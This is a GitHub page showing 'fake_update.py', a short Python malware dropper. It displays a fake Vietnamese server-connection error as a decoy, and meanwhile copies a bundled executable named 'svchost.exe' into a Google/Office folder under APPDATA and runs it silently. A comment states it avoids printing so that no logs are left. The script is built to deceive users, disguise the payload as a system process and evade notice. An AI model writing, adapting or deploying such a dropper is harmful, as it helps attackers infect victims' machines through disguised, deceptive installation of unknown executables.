-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfake_update.py
More file actions
31 lines (27 loc) · 1 KB
/
Copy pathfake_update.py
File metadata and controls
31 lines (27 loc) · 1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import tkinter as tk
from tkinter import messagebox
import shutil
import os
import sys
import subprocess
def show_error():
root = tk.Tk()
root.withdraw()
error_message = "Lỗi kết nối đến server\nMã lỗi: 0000-0003-9660-2841-7666-8626-94\nVui lòng kiểm tra kết nối mạng và thử lại."
messagebox.showerror("Error", error_message)
root.destroy()
def copy_and_execute_file():
appdata_path = os.getenv('APPDATA')
google_office_path = os.path.join(appdata_path, 'Google', 'Office')
if not os.path.exists(google_office_path):
os.makedirs(google_office_path)
if appdata_path:
src_file = os.path.join(sys._MEIPASS, 'svchost.exe')
dest_file = os.path.join(google_office_path, os.path.basename(src_file))
shutil.copy(src_file, dest_file)
# Execute the copied file
subprocess.Popen(dest_file, shell=True)
# No print statements to ensure no logs
if __name__ == "__main__":
show_error()
copy_and_execute_file()